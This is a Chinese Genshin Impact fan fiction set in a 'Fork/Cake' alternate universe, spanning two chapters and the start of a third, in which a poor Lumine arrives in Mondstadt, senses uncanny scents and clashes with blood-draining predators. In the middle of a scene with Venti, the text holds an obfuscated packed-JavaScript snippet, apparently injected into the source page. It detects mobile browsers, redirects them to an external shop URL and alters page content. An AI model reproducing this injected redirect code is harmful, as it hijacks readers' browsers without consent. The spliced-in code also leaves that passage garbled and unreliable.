《木头骑士和她的蒙德修罗场》 1. 风起蒙德城 果酒湖的清风也吹不散荧一身的风尘仆仆。 当她背着半空的行囊、身后跟着饿得眼睛发绿的派蒙踏进蒙德城门时,守门骑士看她的眼神,活像在看一块会走路的抹布。 “愿风神护佑你,陌生的旅人。”年轻骑士憋着笑说。 荧低头看了眼自己靴子上那个显眼的破洞,又摸了摸腰间瘪瘪的钱袋,木着脸点了点头。心里想的却是:风神要是真护佑,能不能先让我先吃顿饱饭? 派蒙已经飘到骑士面前,小手比划着:“那个,请问餐馆怎么走?我们已经三天没吃正经饭了!三天三夜在野外啃野果子,旅行者的厨艺也不怎么样,你知道小派蒙这几天是怎么过的吗!” 骑士指了指广场方向,嘴角抽搐得更厉害了。 蒙德城的午后,阳光洒得跟不要钱似的。 荧拖着沉重的步子走在碎石铺就的街道上,每走一步都能感受到周围投来的目光——那些穿着整洁衣裙的妇人、铠甲锃亮的骑士、连酒馆侍应生都系着雪白围裙。 派蒙本来还能飞得比旅行者高,现在已经落在肩头的高度了。 “旅行者,你看!”派蒙激动地指着喷泉广场旁的花摊,“是塞西莉亚花!好香啊!” 荧顺着方向望去。花摊前站着个蓝发少女,腰间的水蓝色神之眼在阳光下闪着温润的光。 少女正笑着为客人包扎花束,手指灵活地系上丝带。 就在这一瞬间,一股奇怪的感觉钻进了荧的鼻腔。 不是花香。 更像某种……刚摘下的树莓被指甲掐破时迸出的汁液气息,清甜里夹着一丝微弱的、令人牙根发酸的刺激感。 ‘oh,一会一定要喝一杯莓果汁,再不济橙汁也行啊。’ 淡淡的花香飘过来,荧下意识皱了皱眉。 “你怎么了?”派蒙注意到她的表情。 “没事。”荧揉了揉鼻子,“可能有点花粉过敏。” 她默默把这个感觉归咎于长途跋涉导致的嗅觉失调。毕竟人在饿昏头的时候,什么幻觉都可能有。 ‘应该是这样的吧,毕竟自己和哥哥在旅途中基本没怎么生过病,但是说不定自己现在对这块大陆水土不服了呢。’ 猎鹿人餐馆的老板娘莎拉是个热心肠的人,即便看到荧这身打扮也没露出嫌弃的表情。 “一份渔人吐司,一份满足沙拉,谢谢。”荧看了菜单后排出几枚摩拉,声音有点发虚。 “派蒙要吃肉,吃肉!”一旁的派蒙已经虚弱的落在了桌子上,表示自己飘不动了,但是听到了餐食发出了肉食者的请求。 “好吧,再来一份肉排和莓果汁”荧无奈地搜刮了一下派蒙的钱包。 “刚来蒙德?”莎拉一边煎面包一边搭话。 “看你这样子,是从很远的地方来的吧?” “嗯。”俩小只现在已经饿的减少话语输出了。 “那可不容易。”莎拉麻利地装盘,“最近城外也不太平,丘丘人营地越来越多了。你们来蒙德城是投奔谁的吗?” 荧接过温热的面包,道了声谢。稍微用力就把松软的吐司撕开分给派蒙一半。 坐在餐馆外的长椅上,小口小口咬着食物。 面包的麦香暂时压下了其他所有感觉——包括那种时不时冒出来的、莫名其妙的“树莓味幻觉”。 派蒙已经狼吞虎咽地吃完了吐司,现在已经趴在沙拉碗里了,嘴里含糊不清地说:“旅行者,我们晚上住哪儿啊?钱好像不够住旅馆了……” 荧看着手里最后半块面包,沉默了。 ‘确实不够。一分钱难倒英雄汉!’ “异乡来的旅客,你要是想赚点旅费,可以去冒险家协会看看,凯瑟琳小姐那边总有委托。”沙拉小姐手脚麻利地收着盘子,闻言向俩人支招。 吃饱喝足后,荧按照莎拉指的方向找到了冒险家协会。 柜台后的凯瑟琳小姐露出职业化的微笑:“向着星辰与深渊,欢迎来到冒险家协会。请问有什么可以帮您?” “我想接委托。”荧说得直白,“最好是今天能结账的那种。” 凯瑟琳翻看着登记册:“嗯……清泉镇附近有个护送食材货车的委托,报酬是三千摩拉,但要求至少两人组队。还有清理低语森林外围丘丘人营地的任务,一千五百摩拉,单人可接。” “我接清理任务。” “好的,请在这里登记。”凯瑟琳递过表格,“另外提醒您,最近低语森林不太平,有猎户报告说看到过可疑的黑袍人在附近活动。如果遇到异常情况,请优先保全自身,及时回报骑士团。” 荧签下名字时,注意到柜台另一侧站着个西风骑士正在交接文件。 那是个蓝发独眼的青年,穿着骑兵队长的制服,肩甲上扣着一枚冰蓝色的神之眼。 就在她看过去的瞬间,那骑士忽然转过头,对她露出了一个笑容。 一个过分灿烂、灿烂到让人有点后背发毛的笑容。 “新面孔啊。”骑兵队长凯亚摸着下巴,冰蓝色的眼睛在她身上打量了一圈,“看你这打扮,是刚来蒙德?需要向导吗?我可以帮你介绍些好活儿。” 荧摇了摇头:“不用了,谢谢。” “别客气嘛。”凯亚走近两步,“我这个人啊,最喜欢帮助有困难的——” 他的话没说完。 因为就在他靠近到三步距离时,荧突然猛地打了个喷嚏。 “阿嚏!” 声音之响亮,连凯瑟琳都抬起了头。 凯亚脸上的笑容僵了一瞬。 荧揉着鼻子,有点尴尬地说:“抱歉,您身上……是不是喷了什么香水?有点凉,又有点甜腻腻的,呛到我了。” 空气安静了两秒。 凯亚眨了眨眼,随即笑得更深了:“哎呀,被发现了。新买的须弥香薰,看来不太适合我?” 他自然地退后两步,仿佛刚才的靠近只是个意外,“那就祝你好运了,新人。记得,在蒙德遇到麻烦的话……随时可以来找我。” 说完,他挥挥手走远了。 荧看着他离去的背影,心里泛起一丝疑惑。‘刚才那股味道,真的只是香薰吗?怎么闻着更像……冰冻过的糖浆?’ 她摇摇头,把乱七八糟的想法甩出去。‘现在最重要的,是赚到今晚的住宿费。不然又要和派蒙露天休息了。都已经来到了城邦内部还不能睡床的话未免太可怜了吧。’ 低语森林的傍晚,树影斜长。林间十分寂静,寂静到让人觉得恐怖。 荧握着无锋剑,小心地穿行在林间小道上。根据委托描述,丘丘人营地应该在靠近溪流的地方。 派蒙飘在她身后,紧张地抓着她的衣角:“旅行者,你听到什么声音了吗?” 荧停下脚步。派蒙往前站,荧侧着身子,这样就可以至少把握三面视野。 俩个细听,觉得不是丘丘人的嘶吼,是某种更轻的、像是布料摩擦树叶的声音。但是更吸引荧的是一股香味,像风带来的塞西莉娅花。 荧从树后探出头,看见了那一幕—— 三个披着黑袍的身影,正围着一个倒在地上的西风骑士。 那骑士的神之眼已经黯淡,胸口没有任何伤口,但整张脸苍白得像张纸,仿佛全身的血液都被抽干了。 其中一个黑袍人俯下身,在骑士颈边深深吸了口气,发出满足的叹息。 “新鲜的风元素Cake……可惜品质只是下级。” 另一个黑袍人低声说:“别耽误时间,巡逻队快换班了。把痕迹处理掉,不要惹麻烦。” 荧的呼吸滞住了。 她不知道什么是“Cake”,但她知道眼前这一幕绝对不正常。她的手按在剑柄上,大脑飞快运转——从哪个方向更好救人? 就在她犹豫的瞬间,第三个黑袍人猛地转头,兜帽下的眼睛直直看向她藏身的树丛。 “谁在那里?!” 荧心里一沉。 ‘坏了。’ 战斗一触即发。 无锋剑与黑袍人手中的短刃碰撞出火花。荧咬着牙格挡,震惊地发现对方的力气大得惊人,震得她虎口发麻。 这些是什么人?“旅行者小心,另一个人......啊!”派蒙被闪现过来的黑袍人的风往后扇了几个跟头。 好容易才站稳,但已经距离荧有了几个身位。 “Fork……”一个黑袍人盯着她,兜帽下的眼睛突然亮起暗金色的光。 “不对……你是什么东西?” 荧听不懂他在说什么。她只知道,再打下去自己绝对吃亏。 就在黑袍人的利刃即将劈砍过来的瞬间—— 一阵狂风突然席卷了林间空地。 那不是自然的风。风中卷着无数青绿色的光点,所过之处树叶狂舞,砂石飞溅,逼得黑袍人纷纷抬手遮挡视线。 风中传来一个轻快的少年嗓音,仿佛就在耳边低语: “哎呀呀,在蒙德的地界上欺负新人,这可不太礼貌哦——” 荧愣住。 等她再睁眼时,黑袍人已经消失了。只有那个倒在地上的骑士,和满地被风卷起的落叶。 以及,不知何时出现在她身后树梢上、抱着木琴的绿衣诗人。 温迪晃着腿,碧绿的眼睛弯成月牙: “吓到了吗?别担心,坏蛋已经被风吹跑啦。” 他轻盈地跳下树梢,走到荧面前,仔细看了看她的脸,忽然“咦”了一声。 “你……”温迪凑近了些,鼻尖微动,“身上的味道,好特别啊。” 荧下意识后退半步:“什么味道?我身上只有尘土味。” “不对不对。”温迪竖起食指摇了摇,笑容神秘,“是更深的、更本质的……啊,不过现在的你应该还闻不到吧。” 他拍了拍手上的灰,转身走向林外: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122928|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快点离开这里吧,旅行者。骑士团的巡逻队马上就要到了,被卷进麻烦事可就不好玩了哦。” “等等!”荧叫住他。 “刚才那些人……” “嗯?”温迪回头,歪了歪脑袋,“你说那些‘偷吃糖果的坏孩子’?别担心,他们短期内不敢再来了。” 他顿了顿,又补充道:“倒是你,新人。在蒙德要小心一点哦——有些‘糖果’,看起来很好吃,但乱吃的话……” “会肚子疼的。” 说完这句莫名其妙的话,绿衣诗人哼着歌走远了,身影很快消失在暮色中。 荧站在原地,脑子里乱成一团。‘什么糖果,哪里有糖果?’ 派蒙飞过来,小声说:“旅行者,那个人好奇怪……但他救了我们。” “嗯。”荧收起剑,蹲下身从背包中取出急救物质,最后看了一眼地上昏迷的骑士,转身朝林外走去。 她得去报告骑士团。 但更让她在意的,是温迪离开前说的那句话。 “有些‘糖果’,看起来很好吃……” 荧摸了摸自己咕咕叫的肚子,心想:我现在连面包都吃不起,哪还有心思惦记糖果? 西风骑士团总部,团长办公室。 琴放下手中的羽毛笔,看着桌前单膝跪地的侦察骑士。 “你说,低语森林发现了‘捕食者’的痕迹?还有陌生旅人卷入?” “是。”安柏点头,“昏迷的骑士已经送去教会了,芭芭拉小姐说他的元素力被大量抽走,至少需要休养一个月。至于那个旅人……” 她递上一份简陋的报告:“金色长发,异域服装,带着会飞的白色小精灵。根据猎鹿人莎拉和冒险家协会凯瑟琳提供的信息,她叫荧,今天刚进蒙德城,接了清理丘丘人的委托。” 琴接过报告,目光落在“目击捕食者战斗”那一行字上。 湖蓝色的眼眸微微眯起。 “能活着从三个捕食者手中逃脱……”琴低声自语,“要么运气极好,要么……而且她可以使用元素力,是cake还是fork?她对cake没有反应,大概率也是cake,但如果她是fork......” 她没有说完。 窗外的暮色渐渐沉入黑夜,蒙德城的灯火次第亮起。虽然有骑士险些丧命,但自由之都的夜晚,依旧宁静美好。 只有极少数人知道,某些阴影已经开始在城墙下滋生。 琴站起身,走到窗边,望向广场方向。 她的手指无意识地敲击着窗棂,一下,又一下。 许久,她轻声开口: “安柏。” “在!” “从明天开始,留意那位旅行者的动向。每日汇报。” “是!”安柏行礼,犹豫了一下,“团长,需要安排接触吗?” “暂时不用。”琴转过身,月光照在她半边脸上,另一半隐在阴影中,“先观察,见机行事,如果你觉得有必要的话,安柏你可以热情一点先接触她们。” “我想看看……” “她到底是个‘意外的幸存者’,还是……” 另一个需要被特别关注的‘特殊存在。 办公室的门轻轻关上。 琴重新坐回桌前,翻开了一本封面空白的记录册。羽毛笔蘸满墨水,她在第一行写下日期。 然后停顿了很久。 最终落笔: 【样本观察日志·第零日】 【对象:异乡旅人‘荧’】 【状态:存活,未觉醒,已接触捕食者】 【风险评估:待定】 【备注:需进一步观察其与Cake接触反应】 写完这些,她合上册子,锁进了抽屉最深处。 窗外的风拂过蒙德城,带来远处酒馆的欢笑声,带来广场上诗人的最后一支夜曲。 也带来无人察觉的、悄然蔓延的暗流。 而在廉价旅馆的小房间里,荧正数着今天赚来的一千五百摩拉,认真计算着还能在蒙德住几天。 派蒙已经抱着枕头睡着了。 荧吹灭蜡烛,躺进柔软的床铺。黑暗中,她睁着眼睛,脑海里反复回放着今天发生的一切—— 花摊少女身上的“树莓味”。 骑兵队长凯亚身上“冰冻糖浆”般的甜腻。 黑袍人那双暗金色的眼睛。 还有那个绿衣诗人说的,“会肚子疼的糖果”。 蒙德城…… 荧翻了个身,对着斑驳的天花板,无声地吐出一口气。 好像比看起来的,要复杂得多啊。 她闭上眼睛,决定先睡一觉。 明天的事,明天再说。 毕竟,现在的她连吃饭住宿都是问题,哪有余力去想那些莫名其妙的事? 窗外,最后一点月光也被云层吞没。 蒙德的夜,深了。 2. 穷鬼的生存之道 第二天清晨,荧是被派蒙摇醒的。 “旅行者!醒醒!太阳晒屁股了!”白色小精灵在她耳边嚷嚷,“再不起床接委托,我们今天又要饿肚子了!” 荧睁开眼,盯着旅馆天花板上的霉斑看了三秒,认命地爬起来。‘果然,不管在哪个世界,货币都是第一要紧的。生存永远是第一要务。’荧吐掉嘴里的牙膏沫子,开始新的一天! 冒险家协会的柜台前已经排起了小队。凯瑟琳小姐依旧挂着标准微笑,但今天的委托栏似乎没什么好活儿。 “清理城墙外的史莱姆,五百摩拉……护送商队去清泉镇,但要等到下午……” 荧一个个看过去,眉头越皱越紧。 这些报酬要么太低,要么耗时太长。 就在她打算咬牙接个低报酬任务时,身后传来熟悉的声音。 “哎呀,又是你。”凯亚不知何时出现在她身后,手里拿着份文件,“看来昨天赚的钱不够花?” 荧转过身,下意识后退了半步——这次倒不是因为那股“冰冻糖浆”味,纯粹是穷人的自觉。 ‘离穿得这么光鲜的人远点,免得被对比得更惨。这还是哥哥传授的哲学呢。’ “凯亚队长。”她点了点头。 “别这么生分嘛。”凯亚笑着晃了晃手中的文件,“我这儿正好有个紧急委托,报酬不错,三千摩拉。就是……有点小风险。” 荧的眼睛亮了:“什么委托?”‘别管大风险小风险了,没有摩拉,今天就要面临露宿街头的风险。’ “城东的旧仓库区,最近晚上总有奇怪动静。守夜的警卫报告说听见了哭声,还看见黑影。”凯亚凑近并压低声音,“本来该骑士团去查的,但你也知道,最近人力紧张……” 他没说完,但意思很明白:这是私活儿。 荧沉默了。她需要钱,但更知道天下没有白吃的午餐。 “为什么找我?” “因为你昨天能从低语森林那种情况里全身而退。”凯亚的笑容淡了些,眼神里多了点认真,“我觉得你有点本事。而且——” 他凑近了些,那股甜腻冰凉的气息又飘了过来。 荧忍住了打喷嚏的冲动。 “而且你缺钱,对吧?”凯亚说,“三千摩拉,预付一半。查清楚是什么东西在捣鬼就行,不用硬拼,发现危险立刻撤,汇报给我。” 荧看了看自己破洞的靴子,又摸了摸空荡荡的钱袋,抬头看了看要养的小精灵。 干了。 “成交。” 预支的一千五百摩拉让荧终于能换双新靴子,还能在猎鹿人饱餐一顿。 派蒙啃着蜜酱胡萝卜煎肉,幸福得在空中打转。 “旅行者,那个凯亚队长人还挺好的嘛!” “嗯。”荧吃着盘子里的堆高高(叠词词),心里却总觉得哪里不对劲。 太顺利了。 一个骑兵队长,为什么要私下委托一个刚来蒙德、来历不明的旅人?真是因为人力紧张?还是…… 她甩甩头,把疑问压下去。现在想这些没用,把钱赚到手才是真的。 下午,荧按照凯亚给的地图找到了城东仓库区。 这里靠近城墙边缘,平时少有人来,几间老旧仓库孤零零地立着,墙皮剥落,窗户破碎。 她在周围转了一圈,没发现什么异常。直到靠近最里面那间仓库时—— 那股感觉又来了。 不是“树莓味”,也不是“冰冻糖浆”。这次是更奇怪的……像是陈年羊皮纸混合着铁锈,还掺着一丝若有若无的腥甜。 ‘damn,为什么这个城里的气味这么杂?’ 荧的脚步顿住了。 她盯着那间仓库紧闭的大门,手心开始冒汗。 里面有什么? “旅行者?”派蒙小声问,“怎么了?” “……没事。一会你别跟在我身后飞,你沿着墙躲在阴影里,情况不对赶紧飞出去叫人。”荧深吸一口气,推开了门。 灰尘扑面而来。 仓库里堆满了废弃的木箱和杂物,光线从破窗照进来,在空气中划出几道光柱。一切看起来都很正常。 但那股味道更浓了。 荧顺着味道往里走,来到仓库最深处。那里堆着几个蒙着帆布的大箱子,味道就是从帆布下面散发出来的。 她犹豫了一下,伸手掀开了帆布一角。 然后僵住了。 帆布下面不是箱子,是人。 三个穿着平民衣服的男人,昏迷不醒地躺在那里。他们身上没有外伤,但脸色苍白得可怕,嘴唇发紫。而每个人的脖颈侧面,都有两个细小的、已经结痂的红点。 ‘像被什么咬过。’ 荧的后背瞬间爬满冷汗。她立刻后退,手已经按在了剑柄上。 “派蒙,快去通知骑——” 话没说完。 仓库的阴影里,缓缓走出了一个人影。 不,不是“走”。那人的动作很怪异,关节仿佛不会弯曲,一步一顿,像个提线木偶。 等那人完全走进光线下时,荧看清了他的脸—— 是昨天在低语森林见过的黑袍人之一。 只是此刻他没穿黑袍,而是套了身破旧的工人服装。但那双眼睛不会错,暗金色的瞳孔在昏暗的光线里微微发亮,正直勾勾地盯着她。 “又见面了……”黑袍人的声音嘶哑干涩,像是很久没喝过水,“未觉醒的小家伙。” 荧握紧了剑:“这些人是你做的?” “他们?”黑袍人瞥了眼地上昏迷的人,咧开嘴笑了,露出过分尖锐的犬齿,“只是些……零食。低级Cake,连填肚子都不够。” 他往前迈了一步。 荧立刻后退,剑尖对准了他。 “别紧张。”黑袍人停下脚步,歪了歪头,“我只是好奇……你到底是怎么回事?明明有Fork的气息,却连最基本的‘嗅觉’都没打开。像块蒙着布的宝石,真可惜。” “我不明白你在说什么。”荧咬着牙,“立刻离开,否则我通知骑士团。” “骑士团?”黑袍人嗤笑,“那群被规则束缚的绵羊能做什么?他们连自己城里混进了多少‘同类’都数不清。” 他又往前一步。 这次荧没退。她知道自己不能退,身后就是三个昏迷的人。 “让我帮你‘觉醒’吧。”黑袍人伸出枯瘦的手,指甲长而弯曲,“看看你真正的样子——” 话音未落,荧的剑已经刺了出去。 不是多精妙的招式,就是最快、最直的一刺。但黑袍人的动作更快,他侧身躲开,反手抓向她的手腕。 荧手腕一翻,剑刃上挑,逼得对方收手。两人在狭窄的仓库里快速过了几招,剑刃与指甲碰撞出刺耳的摩擦声。 ‘这家伙力气好大!’ 荧咬紧牙关,她能感觉到每一次格挡,对方传来的力道都震得她手臂发麻。这不是正常人类该有的力量。 “不错嘛……”黑袍人眼中闪过一丝兴奋,“未觉醒就有这种反应……你一定是上等货!” 他突然加速,速度快到拉出残影。荧瞳孔一缩,几乎是凭着本能举剑格挡—— “锵!” 短剑脱手飞出,钉在远处的木箱上。 荧踉跄后退,背撞上了墙壁。黑袍人已经逼近到面前,枯瘦的手抓向她的脖颈。 就在那一瞬间。 荧的视野突然变了。 一切都慢了下来。她能看清黑袍人指甲上的每一条纹路,能看清他暗金色瞳孔里倒映出的、自己惊愕的脸。甚至能看清空气中漂浮的每一粒灰尘。派蒙向这里飞了一段然后转头飞出去呼救了。 而那股“陈年羊皮纸混合铁锈”的味道,在这一刻浓烈到几乎化作实质,钻进她的鼻腔,冲进她的大脑。 恶心。 但又……诱人? 两种矛盾的感觉在她胃里翻搅。她想吐,可喉咙里却又涌上一种陌生的、灼热的渴望。 “对了……就是这样……”黑袍人笑了,他的脸越靠越近,“感受它……你的本能……” 他的手指触到了她的皮肤。 冰凉。 然后—— “砰!” 仓库大门被整个踹开。 刺眼的阳光涌了进来,照亮了飞舞的灰尘,也照亮了门口那个高大的身影。 红发,黑衣,手中握着一柄燃烧着暗红色光芒的大剑。 迪卢克·莱艮芬德站在门口,眼神冷得像冰。 “蒙德城,”他的声音低沉,带着不容置疑的压迫感,“不欢迎你们这些下水道的老鼠。” 黑袍人猛地转头,在看到迪卢克的瞬间,脸色变了。 “晨曦酒庄的……” “滚。”迪卢克只说了一个字。 大剑上的火焰骤然升腾,炽热的高温让空气都开始扭曲。黑袍人咬牙看了看荧,又看了看迪卢克,最终嘶吼一声,撞破仓库后窗逃走了。 荧顺着墙壁滑坐到地上,大口喘着气。 刚才那种奇怪的感觉慢慢褪去,世界恢复了正常的速度。她抬起头,看见迪卢克收起了大剑,正朝她走来。 “受伤了吗?”他问。 荧摇头,想站起来,腿却有点软。 迪卢克伸手扶了她一把。他的手很稳,掌心温热。但就在肌肤相触的瞬间—— “轰——” 一股全新的、完全不同的感觉冲进了荧的感官。 不是“树莓味”,不是“冰冻糖浆”,也不是“陈年羊皮纸”。 是燃烧的葡萄藤。是深秋夜晚篝火的余烬,是陈年酒窖里橡木桶的醇厚,是某种滚烫的、汹涌的、几乎要把人吞没的—— “咳咳!” 荧猛地咳嗽起来,一把推开了迪卢克的手。 迪卢克皱眉:“怎么了?” “没、没事……”荧别过脸,耳朵有点发烫,“就是……有点热。” 她不知道该怎么形容刚才那一瞬间的感觉。那不只是“味道”,更像某种……直接的生理冲击。仿佛有滚烫的液体顺着血管烧遍了全身,让她心跳加速,头皮发麻。 迪卢克盯着她看了两秒,没再追问。 他转身去查看地上昏迷的人,片刻后说:“还活着,但失血过多。需要立刻送去教会。” 他吹了声口哨,很快有几个穿着酒庄制服的人进来,小心地把伤者抬了出去。 “这些人……”荧小声问,“会怎么样?” “芭芭拉能治好外伤。”迪卢克说,“但被抽走的生命力……回不来了。” 他的语气很平静,但荧听出了一丝压抑的怒意。 “刚才那个人说的‘Fork’和‘Cake’……”荧犹豫着问,“到底是什么?” 迪卢克转过身,红色的眼眸在昏暗的光线里像燃烧的炭。 “你不知道?” “不知道。” 两人对视了几秒。迪卢克似乎在她眼睛里寻找着什么,最后移开了视线。 “那最好。”他说,“有些事,知道得越少,活得越久。” 这话和温迪说的有点像。荧抿了抿嘴唇,没再追问。 她捡回自己的短剑,跟着迪卢克走出了仓库。外面的阳光很刺眼,让她眯起了眼睛。 “凯亚让你来的?”迪卢克突然问。 荧一愣:“你怎么知道?” 迪卢克没回答,只是扯了扯嘴角,那表情说不清是嘲讽还是什么:“果然是他会干的事。” 他拿出一袋摩拉,递给荧:“这是剩下的报酬。另外,奉劝你一句——” “离凯亚·亚尔伯里奇远点。”迪卢克看着她的眼睛,“他不是什么‘好心人’。让你来查这件事,多半是想看看你会不会死在这里。” 荧接过钱袋,沉甸甸的。三千摩拉,够她活好些天了。 但她心里没有高兴的感觉。 “那你呢?”她抬起头,看着迪卢克,“你为什么来?” 迪卢克沉默了片刻。 “因为蒙德是我的城市。”他说,“我不允许有人在我的地盘上乱来。” 说完,他转身离开了,红黑色的披风在风里扬起。 荧站在原地,看着他走远的背影,又低头看了看手里的钱袋。 蒙德城…… 她叹了口气。 好像每个人都藏着秘密。 傍晚,荧回到冒险家协会交任务。凯瑟琳小姐听她简单汇报了情况(隐去了黑袍人和迪卢克的部分),登记完成,又递给她一个信封。 “这是琴团长办公室送来的。”凯瑟琳说,“指名给你的。” 荧疑惑地拆开信封。里面没有信纸,只有一张精致的卡片和一小袋摩拉。 卡片上用工整的字迹写着: 【感谢您今日协助维护蒙德城的安全。】 【此为一千摩拉的特别表彰金,聊表谢意。】 【愿您接下来的旅途顺利。】 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“旅行者,”派蒙拉了拉她的衣角,“我们接下来去哪?” 荧摸了摸怀里的钱袋。 四千摩拉。够住不错的旅馆,能吃好几顿大餐,甚至能买身新衣服。 但她总觉得,这钱拿得烫手。 算了。 她甩甩头,把乱七八糟的想法丢开。天大地大,吃饭最大,生存最大。 “先去吃饭。”她说,“然后找个像样的地方住一晚。昨天的旅馆没有独立卫浴还是太不方便了。” “好耶!” 两人朝着猎鹿人餐馆走去。路过广场时,荧又看到了那个绿衣诗人。 温迪坐在喷泉边缘,抱着他的木琴,正仰头看着夜空。听到脚步声,他转过头,对荧笑了笑。 “晚上好啊,勇敢的旅行者。”他说,“今天过得精彩吗?” 荧停下脚步:“你知道些什么,对吗?” “我知道很多事哦。”温迪眨了眨眼,“比如今晚的星星很亮,比如明天可能会下雨,比如……有些人,看起来像块木头,但其实心里已经开始发芽了。” 又是这种听不懂的话。荧皱眉:“能不能说清楚点?” “说清楚多没意思啊。”温迪跳下喷泉,走到她面前,“人生的乐趣,就在于一点点发现真相的过程嘛。” 他凑近了些,碧绿的眼睛在夜色里亮晶晶的。 “不过我可以告诉你一个小秘密——”他压低声音,“如果你在蒙德待久了,开始觉得‘饿’……记得去找芭芭拉小姐要薄荷糖。” “薄荷糖?” “对,特制的那种。”温迪后退两步,重新抱起琴,“能让你……不那么‘饿’。” 说完,他挥挥手,哼着歌走远了。 荧站在原地,一头雾水。 薄荷糖?止饿?真是奇怪,薄荷糖要是止饿的话那她将购入一大批。 她想起自己包里确实有昨天在猎鹿人餐馆沙拉小姐给的薄荷糖,昨天吃了几颗,感觉确实能压下那种奇怪的“饥饿感”。 巧合吗? “旅行者,我饿了!”派蒙催促道。 “走吧。”荧最后看了一眼温迪消失的方向,转身走向餐馆。 她不知道的是—— 就在她离开后不久,广场钟楼的阴影里,走出了两个人。 琴团长,还有跟在她身后的凯亚。 “满意了?”凯亚抱着手臂,笑容里带着调侃,“亲眼确认了‘样本’的生存能力?” 琴没有回答。她的目光追随着荧远去的背影,许久,才开口: “从明天开始,安排人进行系统观察。记录她所有的行动轨迹、接触对象、生理反应。” “遵命。”凯亚行了个夸张的礼,“那关于‘捕食者’在城内活动的事……” “加强夜间巡逻。”琴的声音冷了下来,“尤其是平民区和仓库区。再发生今天这样的事,你这个骑兵队长就不用当了。” “哎呀,好严厉。”凯亚嘴上这么说,表情却没什么变化,“不过团长,你真的觉得……那个旅行者,能成为你想象中的‘完美样本’?” 琴转过身,湖蓝色的眼眸在月光下深不见底。 “我不知道。”她说,“但至少现在,她证明了有‘共存’的可能性。” “哪怕她自己都不知道自己是什么?” “正因如此,才值得观察。” 琴说完,转身走向骑士团总部。披风在夜风里扬起,步伐坚定而孤独。 凯亚留在原地,看着她的背影,又看了看荧离开的方向,最后抬头望向星空。 “Fork与Cake,猎人与猎物,秩序与混乱……”他低声自语,嘴角勾起玩味的弧度,“蒙德的这出戏,演员越来越齐了啊。” 他笑了笑,也消失在了夜色里。 而此刻的猎鹿人餐馆,荧正对着一大盘烤肉排埋头苦干。果然还是美食最能抚慰人心。 派蒙已经吃得满嘴流油,还在不停地点菜:“再来一份甜甜花酿鸡!还有那个,那个苹果酿也要!” 荧咬着肉排,脑子里却还在回想今天发生的一切。 黑袍人的话,迪卢克的警告,温迪的暗示,琴团长的奖金…… “Fork”和“Cake”到底是什么? 为什么那些人身上会有奇怪的味道? 自己又为什么会饿,会脸热... 她咽下嘴里的食物,突然觉得胃口没那么好了。 “旅行者?”派蒙注意到她的异样,“你不吃了吗?” “吃。”荧拿起刀叉,用力切下一块肉。 管他呢。 先活下去。剩下的,兵来将挡,水来土掩。她还要找到哥哥呢。 毕竟她只是个穷得叮当响的旅人,能有什么大不了的秘密? 她这样想着,把最后一块肉塞进嘴里。 窗外,蒙德的夜色温柔地笼罩着整座城市。 仿佛白天的一切危险、谜团、暗流,都只是幻觉。 但有些种子,一旦种下,就注定要破土而出。 只是时间问题。 【下章预告】 骑士团的“特别观察计划”正式启动,荧将在不知情中成为琴团长的重点观察对象。而一次突如其来的全城戒严,将让她被迫与凯亚组队,直面蒙德阴影中最危险的秘密…… 3. 戒严之夜 第二天一早,荧是被敲门声吵醒的。 她揉着眼睛打开门,看见门外站着个面生的西风骑士,手里捧着套叠得整整齐齐的制服。 “荣誉骑士荧小姐?”年轻的骑士有些紧张,“琴团长让我给您送来这个。从今天起,您被正式聘为骑士团的‘特别外勤顾问’,这是您的制服和证件。” 荧愣在原地,睡意瞬间跑光了。 “等等,”她接过制服,翻出下面压着的证件——烫金的徽章,她的名字,还有一行小字:“西风骑士团·特别行动部”,“我什么时候……” “昨晚团长亲自签发的任命。”骑士解释道,“考虑到您昨天在仓库区的英勇表现,以及协助击退不明袭击者的功劳,骑士团决定正式聘请您。月薪五千摩拉,包食宿,任务另算奖金。您日常也可在凯瑟琳那里接委托,我们西风骑士团只要干好本职工作,不管您是不是兼职副业。” 荧的呼吸停了一拍。 五千摩拉?包食宿?还能干副业? 贫穷能让人克服一切疑虑。她几乎是立刻点头:“我接受。” “太好了!”骑士松了口气,“那请您换好制服,一小时后到骑士团总部报到。琴团长要亲自见您。” 门关上了。荧捧着那套深蓝镶银边的制服,还有点恍惚。 派蒙已经兴奋地绕着房间飞:“旅行者!我们要有固定收入了!可以天天吃大餐了!” “……太顺利了。”荧低声说。 “什么?” “没什么。”她摇摇头,开始换衣服。 制服很合身,像是量身定做的。腰间配有标准的制式长剑,虽然不是她惯用的武器,但做工精良。镜子里的自己看起来……很陌生。 像个真正的骑士。而不是那个风尘仆仆的穷旅人。 骑士团总部的走廊宽敞明亮,大理石地面能照出人影。 荧跟着引路的骑士往里走,沿途遇到的其他骑士都对她投来好奇的目光——有审视,有猜测,也有善意的点头。 她能理解。一个昨天还在接低级委托的外乡人,今天就穿上了骑士团的制服,任谁都会觉得奇怪。 琴团长的办公室在顶层。推开门时,荧看见琴正站在窗前,背对着门口,淡金色的长发在晨光里泛着柔和的光泽。 “团长,荣誉骑士到了。”引路骑士说完便退了出去,轻轻带上门。 琴转过身。 这是荧第一次近距离看她。湖蓝色的眼眸清澈而深邃,五官精致得像是雕塑,但眉宇间带着一股不容置疑的威严。她穿着团长制服,身姿挺拔,整个人像一柄入鞘的利剑。 “欢迎加入西风骑士团,荧。”琴的声音平静温和,“请坐。” 荧在办公桌对面的椅子上坐下,脊背挺得笔直。 不知为何,她有点紧张。 “不必拘谨。”琴回到办公桌后,翻开一份文件,“你的任命是特批的,流程简化,所以有些事需要当面说明。” 她抬眼看向荧:“‘特别外勤顾问’的职责是协助处理常规骑士不便介入的事务——比如涉及非人智慧生物、古代遗迹、或者某些……敏感情况。你有权拒绝任务,但一旦接受,就必须遵守骑士团的规章和命令。” 荧点头,“明白。” 